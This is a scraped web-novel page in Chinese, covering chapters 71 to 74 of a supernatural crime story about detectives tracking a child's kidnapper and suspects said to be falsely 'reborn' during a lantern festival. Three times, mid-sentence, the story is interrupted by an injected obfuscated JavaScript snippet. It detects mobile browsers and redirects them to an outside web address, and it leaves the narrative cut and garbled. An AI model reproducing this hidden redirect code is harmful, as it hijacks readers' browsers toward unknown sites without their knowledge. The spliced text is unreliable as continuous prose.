秦于理说:“不用道歉,你路上接着想视频哪里奇怪,你是观察者,你要学会相信自己的直觉。” 方许恩说:“你老说我是观察者,我怎么不太相信呢……” 秦于理说:“我相信就行。出发!” 71.第71章 女对女 “鲤鱼姐,坐标已经同步给你了,目前能够圈定的范围有三个区域,覆盖面积已经尽量缩小了,但还是各有五十平方公里左右,我现在在A区做侦测,剩下的就交给你们了。” “收到。”秦于理结束通话,随机选择了一个污染区域和最近一条到达污染区域的路。 小面包车在路面上风驰电掣,秦于理很快行驶到了隀明市的南区。 今天是农历八月十五,天上明月高悬,马路上人来人往。今年国庆假期和中秋小长假合并到一起达到了9天,人们还在尽情享受放松惬意的节日,压根不知道看似平静幸福的生活表象下其实已经埋了雷。 绑架武心童的罪犯发给武东青的挑战书虽然被公布在网上,但有无头男尸的事情在先,信息科的人早有准备,所以在第一时间截住了所有帖子,进行了或屏蔽或删帖处理,虽然难以百分之百防止信息泄露,但刘克爽的事情毕竟已经过去了将近四十年,原案发生地也不在隀明市,这里的市民对于整起事件缺乏敏感性,关注度并不算高,加上大家都在忙着吃喝玩乐的现充生活,就连常年趴网的年轻人中也有大部分人是不知情的。 秦于理的车速在驶入闹市区后就被迫慢了下来。隀明市南区今晚举办了一个中秋灯会,此时街道上熙来攘往都是全家出动来看灯的。天色暗,花灯亮,很多年轻人特地穿了汉服在街头各种摆POSE拍照,争取美美出片,闪光灯此起彼伏,加上被孩子提在手里的电子小灯笼,一眼望过去宛如光的海洋。 “得下车步行了。”秦于理说,她见缝插针地将车子倒进一条小胡同,抵在了一堵墙边,拍了拍方许恩。 方许恩回过神来:“什么?” 秦于理指着车门:“我这儿开不了门,得从你那儿下。” 方许恩看了一眼驾驶座窗外紧挨着的白墙,顿时反应过来,“哦”了一声,解开安全带。 方许恩推开车门说:“国内的中秋节也太热闹了吧,这么多灯,压根赏不了月啊,这不是本末倒置吗?” 秦于理正等着方许恩先打开车门下去,她好跨到副驾驶位也跟着下去,却见方许恩的动作突然停止,僵在了原地。 秦于理问他:“怎么?” 方许恩突然大叫一声:“想起来了,我想起来了,是月光,哎哟!”方许恩没发现车门外面有个瘪坑,一脚踩空,一屁股坐到了地上。 秦于理赶紧探出头去:“没事吧?” “没事没事!”方许恩还处在发现了问题症结的兴奋中,压根没在意自己摔了个屁股蹲,爬起来拍了拍裤子就对秦于理继续噼里啪啦地说,“可算是被我想明白了,那段探灵直播里的月光不对劲!” “月光?”秦于理下车,摸出手机想搜视频,搜了一下,没搜到。 “我这儿有。”方许恩说,“网上的都被屏蔽掉了,我让雍伯给我找了一段完整的,喏,在这儿。” 方许恩的手机上视频开始播放,黑洞洞的画面中,穿着夸张的哥特萝莉服装的网红女主播打着手电正高一脚低一脚地在废弃的金鑫大楼里照来照去,镜头跟在她的身后,应该就是跟她搭档的男网红拍的。 “各位宝宝们,这里就是传说中隀明市恶名昭著的第一鬼楼,金鑫大楼!噔噔噔——噔!” 女主播在对着直播间的观众介绍金鑫大楼里的内景,方许恩也对秦于理解释说:“这个金鑫大楼在设计的时候很明显是找人看过风水的,做生意的都迷信嘛,你听楼的名字也知道最早的老板应该五行缺金,所以才在大楼名字里放了那么多金来填补缺陷。因为金在五行中代表西方,所以这栋大楼的面向不是典型意义上工工整整的坐北朝南向,而是在坐北朝南的基础上将大门向西方偏移,也就是斜着开的大门。” 秦于理拿出手持检测器,打开开关说:“边走边说。” “好。”方许恩说,“我查了网上的都市传说,不止一个帖子提到金鑫大楼的造型类似于一只蹲踞预备起跳的老虎,你知道我国的四象吧。” “东青龙西白虎南朱雀北玄武。” “对!”方许恩越说越兴奋,“从金鑫大楼的建筑平面图来看,它是由两个主体四个分区组成的,虎头就是大门所在,那里是大楼的中庭,呈椭圆形,玻璃穹顶,后面的长方形区域是各类商铺所在,可以看做老虎的躯干,另外还有四栋副楼,就像是老虎的四肢,据说本来是当算当做出租办公楼用的,这对网红就是在老虎头部东北方位置的墙根后面发现了蒋小龙。” “东北方……”秦于理还未完全知道方许恩发现了什么,但直觉这里有问题。 手机屏幕上,女主播突然惊叫了一声,手里的手电也掉了下来,骨碌碌滚出去老远。屏幕上一片“卧槽”“我去”“别吓我”“弹幕护体”,然后是男摄像问她,你怎么了?女主播哆哆嗦嗦地说:“刚刚,刚刚我看到那里好像有个人。” 男摄像说:“人?哪里?” 女主播说:“就那儿,对面墙根后面。刚刚月光照过来,我好像、好像看到一双脚!” 方许恩截停视频说:“隀明市位处我国内陆中部,昨天是十月五日,根据天文网站的数据,当天月亮从傍晚五点三十三分开始从东方升起,要到午夜十一点四十八分才能到达中天,也就是说,在他们直播的七八点这个时间段,月亮还在东面,以金鑫大楼的朝向,蒋小龙尸体躺的那处墙根理应是照不到月光的,但是女主播却说她看到了,跟着直播镜头在一阵颠簸后,很快推到了那个方向,镜头里出现了蒋小龙尸体的一部分。” 秦于理想了一下说:“也就是说,这女的在撒谎,她不是在直播时看到了蒋小龙的尸体,而是可能一早就知道那里有尸体。” “对,我也觉得他们是刻意引导直播间观众看那个方向的。”方许恩说,“虽然还不知道这两人的根本目的,但我怀疑他们开直播就是为了让直播间里的人当见证者,证明他们与蒋小龙的事情无关,但这个可能没法当证据……” “我们可能有证据。”秦于理想到什么,掏出手机,打了出去,很快电话接通,她说,“喂,霍殊,问你件事……”秦于理跟霍殊飞快交流了几句,“不是,不是问牟翠翠的事,我想问下,今天上午到城隍殿里供牌位的主家……是吗,郑小龙,好的,我知道了。” 挂断电话,她对方许恩说:“你的判断是正确的。白天那对网红去城隍庙立了个超度牌位,我们以为他们是因为被昨晚的事情吓到了,本着趋吉避凶的心理,才去庙里拜拜,但回过头想,这种拜拜可以有很多选择,离隀明市公安局近的还有一座佛寺,不是本地人不会想到特地绕路去城隍庙,而且,他们立的往生位上留了名字,写的郑小龙!” 方许恩“啊”了一声,自己也说不上来是为了刚刚的发现被确认感到兴奋,还是为早该发现却没发现城隍庙里的异常感到惋惜。 上午在城隍庙的时候,秦于理和方许恩其实是有机会发现异常的,因为后者当时在城隍殿里办事的时候,他们在外面听到了里头的交谈。当时,办事的道士让那对男女留下捐功德超度的往生者名字、生卒年月和墓址,那对男女并没有对此提出疑问,只是和道士交换了绿泡泡改为网上交流,可如果他们真的只是偶然发现无头男尸被吓坏的路人,他们就不应该知道蒋小龙的身份,也无法告知道士做法事需要获取的亡者信息,只是秦于理他们当时还没发现这两人有问题,所以想当然了。 方许恩扼腕叹息说:“真是的,早点发现就好了!” “不着急,因果就是蜘蛛网,被它缠上的虫子再怎么小心,震动还是会通过蜘蛛丝传递到蜘蛛那里的。”秦于理说,“喏,你看那边!” 方许恩顺着秦于理手指的方向看过去,很快便睁大了眼睛,露出不可思议的神情:“是他们!” 不远处的人群中,两个似曾相识的身影正穿梭在人群之中,正是那对网红男女,他们还穿着上午秦、方两人在城隍庙见过的那身朴素打扮,这边看看,那边走走,就像是一对出来逛花灯会的普通情侣。 秦于理敲打耳侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821202|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护目镜伸展出现在她的脸颊上,同时连通了赵萌萌和重案组本部的通讯:“C区污染源找到,编号1178秦于理开始抓捕行动。” 说着,秦于理便像一条游鱼,滑溜地钻进人群,迅速向那对男女靠近。 方许恩一下子没反应过来,等到再想跟的时候已经看不到秦于理的身影了,他急得四处张望了一会儿,后知后觉想起来他也穿戴了装备,于是学着秦于理敲击耳侧,很快接通了通讯。方许恩喊:“秦队,你在哪儿,我怎么找不到你了!” “不用找我,你在原地待命。” “啊?” “你不是他们的对手,跟上来会给我添麻烦,就这样。”那头清冷的女声说完便果断切断了通讯。 方许恩:“……” “别伤心啦!”又一个女声传了出来,吓了方许恩一跳。 “谁?!” “我呀,赵萌萌。” 赵萌萌的声音从耳机里传出:“你现在在重案组的通讯网里,就算进入因果空间,我也能听到你这边的动静的哦。毕竟我和你一样都是小废物,除了当千里眼和顺风耳,一点用都没有嘛哈哈哈!” 方许恩在心里想,谢谢,我一点儿也没被安慰到,而且我是观察者,观察者,不是什么千里眼! 秦于理那边已经集中注意力,锁定在了目标人物身上。她此时的视野中,周围的世界分成了不同的层次,底层是死物,像是建筑、花灯、商店之类,是色块;二层是无关人群,他们在秦于理的视野里是一个个线形轮廓,来来去去,身周微微有一层毛边,像是水墨晕染出界,但是又不明显;但那两个目标是人形,只是无数根线从四面八方伸展过来,在他们身上缠绕了一圈又一圈,使得他们看起来像是提线木偶。这是非常典型的被重生污染的表现! 那两人停停走走,在这个小吃摊前停留一阵,又到那个花灯铺子门口看一会儿,时不时简短对话两句。要不是两人的肢体语言并不松弛,秦于理或许也会以为他们真的是在逛灯会,但从那个女的紧绷的肌肉和随时处于发力预备的身体姿势来看,他们今晚的目的并不单纯。 他们在做什么呢?是在提防隀明市公安对他们起疑,派人盯梢,故意装样子遛弯吗?就这么简单? 不远处出现了一个道路岔口,人群在这里分流,往左走是一个免费公园,里面有大型花灯展示区,往右走则通往花灯集市的出口,会通到旁边的道路上。大部分人此时都往左走了,只有包括那对男女在内不多的几个人朝右面走去,他们像是逛累了,打算回宾馆休息。 秦于理顺手在路边摊买了杯鲜榨果汁,悄无声息地跟在两人后头,一边用吸管吸着果汁,一边盯他们的梢。 人少,动手方便,但是人少,容易暴露。 果然,走了没多久,秦于理就发现那对男女突然停了下来,男的扭头看向秦于理的方向。此时两人身边还有稀稀落落的几个人,一对小情侣,一家三口,还有一名在捡拾垃圾的环卫工人。 秦于理并没有因为那个男的回头看她就马上暴起,她很自然地一边划手机,一边啜饮果汁,等到走到那对男女身边的时候,她像是被绊了一下,“啊”的一声果汁脱手,往那对男女身上摔去。 眼看着果汁就要泼到男人身上,那女的却闪电般出手,接住了秦于理脱手的杯子。果汁泼溅开了一点儿,但是不多。 “你怎么回事!”男的皱着眉头,掏口袋想摸纸巾出来擦衣服,秦于理却在看到那一家三口拐了弯离开的下一秒,猛然出手,攻向男人的头部。 “你干……” 男人才吐了两个字,女人的手已经缠了上来,拍开秦于理的手,秦于理再探,对方用力一拉,将那男的拽开,自己欺身而上,眨眼间就和秦于理过了数招。那对小情侣吓得立刻跑走,环卫工人瘫倒在原地。 在空中对了几脚又挡开插向自己双眼的手指后,秦于理后退半步,冷冷道:“这么狠的路数,看来我猜错了,你不是吃公家饭的,是混地下的吧。” 72.四个队长 晚七点,武东青家中灯火通明,此时隀明市刑侦队一半的骨干都在这名老领导的家中枕戈待旦。 隀明市向来民风淳朴,治安良好,虽然不至于天下无贼,但真的有很多年没发生过重大恶性犯罪事件了,没想到今年流年不顺,先是女明星桑箬被人丢进崧江差点淹死,然后在高架桥底下挖出了陈年白骨化的女尸,紧跟着居然在长假期间一片和乐融融的气氛里,先在废弃大楼被人直播发现了无名男尸,紧接着前市局领导的孙子被人绑架了不说,还在人家小区里发现了恶性犯罪现场,这简直就是把政法系统领导架在火上烤。 领导烤,手下肯定也得烤,武东青家里众干警的脸上此时都是一片阴沉,郑金虎作为一把手更是脸色难看得能滴下水来。 “报告,网安追查到了那段视频发布账号的持有者,经过排查已初步排除嫌疑,确认是罪犯使用技术手段盗走了一批账号,目前网安经过分析已掌握的账号有十七个,均已关停。” 报告被递到了郑金虎手上,郑金虎只扫了一眼就气得把A4纸拍到了桌上:“他娘的,真是嚣张到家了!” 干刑侦的谁最初不是拼着一腔热血入的行,但凡能爬到位置上的别的不说,没一个是能容忍别人在自己头上动土的,更何况这次都不是动土,是在他们这群人头上撒尿了! 五队副队长张海泉说:“依我看,这人既然是冲着武局来的,童童一时半会儿应该还安全,让信息科盯紧点,等那混蛋下次发布消息的时候马上追溯源头,和地方联动,抓捕凶手!” “老张,不是我说,我早叫你多熟悉现在的网络新科技了,你难道不知道社交平台有个叫延时发布的功能吗,我要是罪犯,早就把预告存好了,按时间定时发布就行。咱们要是真的被这玩意儿牵着鼻子走,说不定下次发布的视频里就有嘲笑咱们的内容了!” “贺老六,你说我的方案有问题,那你倒是拿个可用的行动方案出来,天天捣鼓你那些大数据分析也没见你提出什么有用的建议来!” 六队的贺卫方拿着个小型电子笔记本,一边在上面写写画画一边说:“大数据能分析、总结、模拟罪犯的行为模式,提炼他的行动思路,只要数据足够,就能推测出罪犯的下一步行动是什么,到时候我们提前一步,守株待兔,不比你老张被人扔根馊了的肉骨头就上要香吗?” 七队的姚永想说些什么,嘴巴动了动,最后咽回肚子里。 隀明市公安局刑侦队有八个支队,负责人都是郑金虎,下面是八个副队,按照不同区域和分类处理市里发生的刑事案件。看阿拉伯数字排序也知道,这是按提拔顺序来的,所以姚永能安全喷的只有秋樰生。 姚永看了秋樰生一眼,就见他盯着电脑屏幕上那段30秒的预告视频反反复复的看,也不知道在想些什么。 “你怎么看,小秋?”姚永敲了敲桌面,有意把话题引到了秋樰生身上。 秋樰生抬起头:“哦,我暂时还没什么有价值的想法。”说完便又低头继续刷那段视频。 “我说你,大家伙都在集思广益想办法呢,就你一个人在那儿一声不吭刷视频,三十秒的东西你翻来覆去都看多少遍了,到底看出什么来了!”贺卫方发起攻击,他是个刺儿头,既然连资历比他老的张海泉都敢喷,喷一下老八秋樰生那就是顺道的事,何况秋樰生长得人模人样的,是贺卫方最看不惯的那种小白脸。 公安干警不是不能长得帅,但刑警就要尽量规避这一点,不然执行任务的时候走哪儿都有人盯着看,工作还怎么开展?所以,尽管外界和履历都说秋樰生业务能力强,贺卫方本人是不怎么信的。 张海泉说:“小秋,你要是有什么想法就直接说出来。现在最重要就是尽快锁定童童的位置,只要能把孩子找回来,其他都可以往后捎一捎,你大胆讲,别怕说错,三个臭皮匠还顶个诸葛亮呢,当然你也不用担心哥几个抢你的功劳,郑队武局都在这儿看着,不可能明着偏帮其他兄弟们!” 张海泉说着,有意无意的眼神扫过一旁的贺卫方,贺卫方:“嘿,看我干嘛,这我肯定赞成啊,年轻人思维活,主意虽然未必管用,没准能帮咱们打开思路呢!” 姚永摸了支烟出来想缓解一下情绪,被郑金虎瞅了一眼,手停住了。郑金虎说:“武局夫人不喜欢烟味,要抽出去抽!” “让他们抽吧,君朝夫妻俩今晚带秀华去他们家住了,她神经衰弱,受不了这么多人在。”武东青说着,拿出一包烟,挨个发了一圈,刚刚还互相阴阳怪气的几个副队赶紧躬身去接。 在他们这行里,论资排辈是重要,但那是面上的东西,要是没真本事,这群血气方刚的刺儿头谁也不会服谁。武东青虽然不是本地人,但光刘克爽那起案子就够把他的名字刻在最显眼的地方,所以,哪怕在最清高的大队队长符文龙眼里,武东青都是值得毕恭毕敬对待的存在,何况是五六七八这四个晚辈。 郑金虎接了烟说:“武局,怎么好意思让您破费!” 武东青说:“少废话,这次是为了我家的事牵扯市局那么多人力物力,这不是应该的吗!” 市局刑侦大队八个支队前四个副队眼下各自有各自手头推不掉的事,其中本该挂帅的符文龙近期刚好在上面接受统一培训,眼瞅着是要作为后备干部提起来了,所以今晚在武东青家集合的才会是后四个。 武东青说:“我自己孙子出了事情,当然也很心急,但心急吃不了热豆腐,目前的线索并不够追踪定位。好在那家伙既然是冲着我来的,只要我还在,他就一定会有下一步的行动。” 这算是一定程度肯定了张海泉刚刚的话。 “但是,其他手段也要同步进行。对方既然用网络发布的手段挑衅我们,那就一定是对骇客技术有一定自信的人。当年刘克爽案件中,刘匪和他五个手下,四死两活,活着的那两个判的虽然是无期,但最后也都改成了有期,最高二十五年,算算时间,应该也都出来了。但就算出来了,也都年过六旬了。我们那个年代能落草为寇的,没几个有文化的,就算出来了以后抓紧学习,我看也学不会这些。” 秋樰生说:“武局,白城方面刚发来了消息,刘克爽团伙最后两个活着的同伙一个叫杨彬,一个叫汤宏祖分别在十四年前和十七年前减刑出狱了,出狱后杨彬回到了户籍所在街道,经政府安排,在垃圾回收站打零工到现在,汤宏祖离开了白城,最后一次出现是去年,人在粤城打工当外卖员,他们现在都不在隀明市,而且不具备拍摄剪辑视频的能力,也没有相关网络知识,应该和本起事件没有直接关系,还有……” 秋樰生将笔记本电脑面向武东青说:“武局,这段视频我仔细看过了,有一个发现,不一定对……” 贺卫方说:“我的人早就检查过了,这视频是用H品牌手机拍摄的,全程无剪辑无AI,你发现的东西恐怕不对。” “贺队误会了,我是想说这段视频应该是经过充分设计后拍摄的。” “充分设计?”武东青问。 秋樰生说:“我的意思是这段要挟视频的拍摄手法体现了一定的专业性,不像普通匪徒随手一拍能做到的。” 秋樰生按下播放键,全黑的屏幕上只有一束斜上方打下来的微光,照亮了屏幕正下方一角,跟着镜头往前推,首先出现的是孩子脏兮兮的运动鞋,往上是裤腿,裤腿下露出被擦伤的小腿,再往上是衣服和被绳索捆得红肿的小手,最后是武心童昏睡的脸孔,但不是全脸,而是定格在孩子紧闭的偶尔转动一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没有!”武东青斩钉截铁地回答,但说完这两个字后他又犹豫了半晌,才说,“不过我曾经听人说过,刘克爽那时候虽然未婚未育,但他其实有个关系要好的地下女朋友,听说还怀了他的孩子。因为刘克爽尸体失踪的事,我们曾经怀疑过是有人想把他救出去,但无论是那个女人还是那个孩子,我们最终都没能找到。” 郑金虎说:“秋队,你是在怀疑童童这起案子是当年那个被漏过去的遗腹子所为吗?” “我觉得有这个可能性,这个罪犯年富力强,能杀死同样处于中年的蒋小龙;他受过良好教育,懂骇客技术和拍摄视频技术;他又是奔着刘克爽案来的,目前没有比这更适合的人选了。” 贺卫方说:“我还当你发现了什么,这不是又一个暂时无法验证的假设吗,就算真的有这么一个人,大海捞针,我们要上哪里找他去?” 秋樰生笑笑说:“您说得对。” 贺卫方本来还打算秋樰生反击的时候,他接着再数落对手,没想到秋樰生居然是个没脾气的,就这么糊弄着一句过去了。 不可思议,贺卫方想,难道传闻中说这家伙脾气大到被人取名“活无常”的事是假的? 正在这时,一旁负责紧盯网络的探员喊了一声:“第二段视频来了!”所有人都围了过去,除了秋樰生。 他的电脑上新接收到一份文件,打开后里面是两个人的基本信息,男的叫黄舟,女的叫王莎莎,正是之前崧畔花园里那对前后脚凌晨出门的男女。秋樰生不是没想过共享这份信息,但那几个比他资历深的队长个个都有自己的主张见解,没给他大段说话机会,再者,秋樰生自己现在对于这两人的想法也还只停留在猜测阶段,毕竟他们和武心童看不到直接联系。 “谢谢。”秋樰生回复。 “不客气。”赵萌萌说。 秋樰生这次查东西用的是重案组的资源,他自己也有点怀疑他现在到底是刑侦队兼职重案组呢?还是反过来。 算了,殊途同归,都一样。 秋樰生再往下看了两眼,突然停住了,因为那上面写着王莎莎的父亲王瀚锋是金鑫大楼曾经的持有者之一。 73.假重生 金鑫大楼…… 秋樰生的脑海里迅速调出了关于金鑫大楼的资讯。 因为前晚在大楼里发现了蒋小龙尸体的缘故,秋樰生顺带着也把金鑫大楼的前世今生都看了一遍,当时并没有太放在心上,因为觉得和案情关联性不大,没想到,这些信息竟然会在这时候发挥效果。 外界都知道金鑫大楼曾经有三任主人,均不得善终,其中第二任主人就叫作王瀚锋。秋樰生记得档案中写这名素来名声不错,经营生意也相当有本事的本土商人在大约七年前接手金鑫,原本已经办妥了手续,做好了规划,正要进入正式改造流程,谁想到在这个节骨眼上,竟因为心肌梗塞倒毙于自己的办公室中,一夜无人问津,还是天亮以后,门卫巡楼才发现早已经凉透了的尸体。可怜一代商业大亨,居然就这样潦草收场,这也造成了后来的第三任主人那名港商特地请大师来做过法事,才敢接手金鑫大楼的原因。 秋樰生当时读到这些讯息的时候,内心是有疑问的,因为在他看来,不管怎么论,金鑫大楼都和“凶宅”两字并不搭界。 且不说金鑫大楼的第一任主人是因嗜赌成性,导致家财败光,逃亡时在高速路上出意外而死;第二任主人王瀚锋年纪大了,突发疾病意外身故也不是离奇之事,更何况他是在自己原先的办公室里过世的,并非死在金鑫大楼里;至于第三任主人的一双子女在国外玩极限运动出事这种事,如果这也要怪到一栋既不能说话也无法长脚自行走动的大楼头上未免太可笑,所以秋樰生完全不理解金鑫大楼那个第一鬼楼的名号是怎么传开来的。 但秋樰生不理解归不理解,金鑫大楼“隀明市第一鬼楼”这个名号甚嚣尘上确实是事实,且真实到隀明市政府想尽办法找人接盘,都被拒之门外,最后只能靠本地国企来消化这摊不良资产的地步。 如果说,秋樰生先前只觉得整件事凑巧、滑稽还带点黑色幽默,但在认出那名疑似挎着装有蒋小龙头颅的坤包,深夜离开崧畔花园的女人就是王瀚锋的女儿王莎莎后,他的观感就完全变了,他开始有了一种整起事件底下暗流涌动、错综复杂的诡谲感。 王瀚锋的女儿王莎莎为什么会牵扯进武心童失踪事件里,又为什么会对蒋小龙下毒手还将他分尸,她和蒋小龙有什么渊源,和武东青有什么仇怨,又和刘克爽有什么关联呢?一切都显得扑朔迷离。至于那名叫黄舟的男子,秋樰生拿到的档案里,此人的信息十分简单,他是青城人,今年31岁,职业登记的是自由职业,据说是在家里靠给人写软文接设计广告之类的商单过活,活得不好不坏。他和刘克爽就更没关系了! “难道不仅是团伙重生,还都重生到了不同地点不同人的身上?”秋樰生想到秦于理说过的不止一个重生污染源,不由得不这么猜想。 “妈的,王八蛋,什么年代了还敢这么嚣张!” 愤怒的声音让秋樰生回过神来,是贺卫方在骂骂咧咧。 秋樰生想起刚刚有个探员说第二段视频发出来了,赶紧凑上前去查看。这次视频时长1分半,相比第一次的小打小闹,真正上了强度。视频风格还是那么专业,但是内容令人极度不适。在视频中,武心童被推醒,先是被人打了两耳光,打得小脸都肿了起来,他正吓得哇哇大哭,突然一个人的背影出现在屏幕上。那人的背影没有收全,分辨不出男女,但手上提着的锤子却闪闪发亮,只见他慢慢将锤子举了起来,然后狠狠挥下,屏幕变黑,跳出字幕。 这次写得是:“红星农场幸存者,你已比别人多活39年,别不知足。今晚9点一个人到春禹路、琼花路高架桥连接点往东数第三个桥墩后的绿化带来,如果报警,后果自负。” 贺卫方已经开始安排手下调取该路段的监控,排查可疑人员,模拟可能的进入和撤退路线,张海泉则在排兵布阵,想在不打草惊蛇的情况下提前做好当地的布控,至于姚永,他好像也在思考什么事情,一时间没有进一步的举动。 郑金虎问秋樰生:“你呢,你打算怎么做?” 秋樰生说:“老实讲,郑队,我现在觉得案情有点儿乱,一时半会儿还没理清楚。” 贺卫方在旁边听到了,冷笑一声说:“早说了,破案可不是光靠张漂亮脸蛋就能做到的。” 张海泉淡淡瞥了秋樰生一眼,没说什么,很快又把注意力转移到了对自己手下的部署上。 郑金虎说:“再乱也得理出个头绪来,要是连咱们都往后退,老百姓还能依靠谁?” “郑队,我不是这个意思。”秋樰生说,“你有没有觉得这个罪犯的行为逻辑前后矛盾?” 郑金虎说:“怎么说?” 秋樰生说:“你看,咱们现在都默认这个罪犯应该是当年的刘克爽……”秋樰生说到这里顿了顿,虽然郑金虎知道重案组的存在,但秋樰生在外面毕竟还不能当着众人的面这么大喇喇的把重生人这三个字抛出来。他说:“是当年刘克爽案件中幸存下来的同党,至于是刘克爽私生子还是别的什么人另论,反正他绑架武心童的目的很大可能是为了报复武局,按这么看来,蒋小龙就不应该死,因为他非但跟武局没有关系,还是刘克爽的血亲,对蒋小龙下死手完全就是莫名其妙。” 郑金虎说:“接着说。” 秋樰生又说:“再说那两条恐吓视频,我能理解那种猫抓耗子式的玩弄敌人的快感,但是要达到这个效果,送恐吓信、发消息、打电话都能做到,为什么一定要大费周章拍摄视频还公布到网络平台上,这和不要报警也即不要惊动其他人这一点明显是矛盾的。假设我们没有拦截这些视频,可想而知,到时候会赶往现场的人肯定不止武局一个,现在可是流量年代,甭管事情是不是真的,网友认不认识刘克爽,总会有看到视频的好事者循着时间地点找过去,到时候众目睽睽,罪犯的行动空间被大幅度压缩,他能做什么?” “但网安会拦截信息。” “那就更矛盾了!” 姚永不知道什么时候凑了过来,在旁边试着剖析说:“我猜,秋队的意思是,如果罪犯想要确保清场,就不该采用公开发布视频的方式,可既然采用了公开预告方式,又希望达到清场不影响后续行动的效果,那么他就应该是盼着武局报警和我们警方出动对现场进行实际管控的,这就又和视频中所谓的报警后后果自负论有了矛盾。” “没错。”秋樰生说,“坦白讲,我现在甚至有点儿怀疑这个罪犯是不是在有意扩散舆论。” 郑金虎说:“谁?罪犯?扩散舆论?这对他能有什么好处!” 秋樰生摇摇头:“我就是这一点没想明白,所以卡住了。”秋樰生想,要是再把重生团伙这个变量计算进去,事态还不知道会有多复杂!可是,一群人重生回来,就为了对付武东青一个退休老人,这合理吗? 郑金虎说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839531|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行吧,你的困难和疑惑我都了解了,解决方案呢?” 秋樰生猝不及防说:“啊?” 郑金虎说:“老子拔你上来可不是为了听你的十万个为什么的,你不仅要会发现问题,还要能解决问题!” 秋樰生:“……”果然所有领导都是一个样子! “武局!” 那边传来的呼喊声让秋樰生和郑金虎同时扭头看过去,只见武东青穿起外套,拉起拉链,打开门就要往外走。 “武局,您这是?”郑金虎赶紧跑上前去。 “出门,从这儿到春禹路琼花路高架桥要走一个多小时,今晚中秋节人多,会堵车,现在出发的话,9点不到我能赶到现场。” “等等,您至少等我们把人员都部署好!”郑金虎说,“还有您的人身安全措施,也需要提前准备!” “部署什么部署,那是我孙子!”武东青说完,一把推开郑金虎,大步走进了夜色里。 “还看着干吗,行动!”郑金虎一召集,所有人立刻跟上,一下子屋子里大部分人都呼啦啦的离开了武东青家,只有几个负责监视崧畔花园情况的基层侦查员还留在原地。 姚永说:“你怎么不跟上去?” 秋樰生说:“你怎么不跟上去?” 姚永说:“我是蒋小龙案的负责人,今晚我来是想到案发现场再看看的,张队贺队都能干得很,我就不去抢风头了。”说着,他便自顾自往28号的方向走了。 秋樰生忽而觉得有点看不透姚永这个人,但是管他呢,他也有自己的事情要做。 秋樰生离开重案组前,被秦于理塞了一套装备,他去后备箱里把衣服装备拿出来换上,开着自己的老破奥迪上了马路。 “赵萌萌!”秋樰生呼叫通讯网里的耳朵。 “秋队,我在!”赵萌萌的声音很快响起。 秋樰生问:“春禹路、琼花路交叉点一带有没有重生污染?” 赵萌萌很快答复:“有,那是C区。这次发现重生污染一共三个片区,我在A区,鲤鱼姐在B区,秋队你说得刚好是C区。” 秋樰生虽然心里有过建设,听到这里还是不由得叹了口气。 重生真那么容易吗,都不用交钱的吗?那万一他不幸殉职了,是不是有可能重生了还得继续往下干? 秋樰生是个唯物主义者,所以丝毫没有自己乌鸦嘴咒了自己的意识,他就是刚好想到了,就这么一想罢了。 “秋樰生,你要去C区?”秦于理的声音响了起来。 “对,抓走武心童的罪犯发布了第二段预告视频,让武局今晚9点一个人到春禹路琼花路高架交界点往东数第三个桥墩下的绿化带里去,我正往那儿赶。”秋樰生说,“你那儿什么情况?” 秦于理说:“不太好,我和方许恩抓到了那对网红主播,但他们身上的重生污染源是假的。” 秋樰生一时还没反应过来,说:“假的?假的怎么了?” 秦于理说:“假的的意思就是,有人知道重案组的存在,并且发明了某种可以欺骗重生检测仪器的办法。” 秋樰生一个激灵,浑身鸡皮疙瘩都起来了:“你在说什么,重生还能假冒?” 秦于理说:“光是假冒重生就算了,假的变不了真的,我怕的是,真重生现在也能伪装了,那么,我们要发现重生者的难度就大大提高了!” 74.第74章 迁怒 秦于理跟秋樰生对话的时候,方许恩正帮着她将那对网红主播捆绑起来。 这对男女中,女的跟秦于理判断的一样,是个练家子,而且出手毒辣,男的虽然高大,倒反而没什么战斗力,原本待机的方许恩在接到秦于理的命令后,付出了长跑+近身格……啊不,是乱斗弄坏名牌衣服+被打破了脸颊的代价后,居然把这家伙成功拿下了。 秦于理挂断电话,走过来问:“疼吗?” 方许恩说:“还好,谢谢……” 一抬头才发现秦于理问的人不是自己,而是那个女网红高秋霞。 秦于理蹲下身子,和高秋霞平视,女人虽然已经被擒,脸上的表情却很平静,哪怕刚刚秦于理差点打断她的肋骨。 秦于理说:“杀人分尸弃尸不算,还敢冒充重生者,我还真是小瞧了你们!” 叫张瑞的那个男的在旁边怒回道:“你别血口喷人,我们只是来隀明市旅游顺便直播,你有什么证据把杀人分尸弃尸这么大一顶帽子扣到我们头上?!” 秦于理说:“哦,不承认杀人分尸弃尸,那就是变相承认自己假冒重生人对吧?” “胡说……唔!” 秦于理突然出手,一把掐住了张瑞的喉咙。她的手指纤长有力,明明是个女人,也只用了单手,张瑞的脸孔却很快憋得通红。 “我不知道……你说……什么!放手……救、救命!”张瑞喉管里发出破碎的呻吟,他试图吸引周围路人的注意力,“报警,有人袭击……游、客!” 秦于理突然扭头对方许恩说:“那个烂梗怎么说来着?” 方许恩:“?” 秦于理说:“就是破喉咙什么的……” 